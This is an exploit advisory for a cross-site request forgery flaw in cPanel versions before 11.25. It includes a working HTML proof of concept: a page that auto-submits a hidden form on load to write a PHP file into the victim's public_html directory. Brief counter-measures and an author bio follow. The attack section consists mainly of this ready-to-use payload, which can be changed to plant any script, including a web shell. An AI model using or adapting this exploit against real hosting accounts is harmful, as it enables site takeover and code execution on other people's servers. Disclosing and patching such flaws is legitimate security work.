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# Exploit Title: cPanel < 11.25 CSRF - Add php script # Date: 27.05.2011 # Author: ninjashell # Software Link: http://cpanel.net # Version: 11.25 (see details below) # Tested on: Linux # CVE : N/A I. Introduction cPanel versions below and excluding 11.25 , are vulnerable to CSRF which leads to uploading a PHP script of the attackers liking. If you have turned off security tokens and referrer security check, no matter what version you are using, you are vulnerable as well. II. Proof of concept (PoC) <html> <form name="editform" action=" http://localhost:2082/frontend/x3/err/savefile.html" method=POST onSubmit="return loadfdata();"> <input type="hidden" id="codepage" class="codepress html" name="page" value="<?php echo 'ninjashell'; ?>"> <input type="hidden" name="domain" value="localhost"> <input type="hidden" value="public_html/" name="dir"> <input type="hidden" value="ninjashell.php" name="file"> <body onload="document.forms.editform.submit();"> </form> </html> Afterwards simply check for ninjashell.php in the directory. III. Counter-measures All cPanel versions starting from 11.25 and above have two in-built security features to prevent such attacks - security tokens and referrer security check. This means that if you are a cpanel client, you should update your software. IV. About the author. - Ethical hacker; - Freelance security consultant/penetration tester; - Security researcher in the spare time; - Over 12 years of experience; You can always email me ninjashellmail@gmail.com or follow me on twitter @ninjashell1337 |
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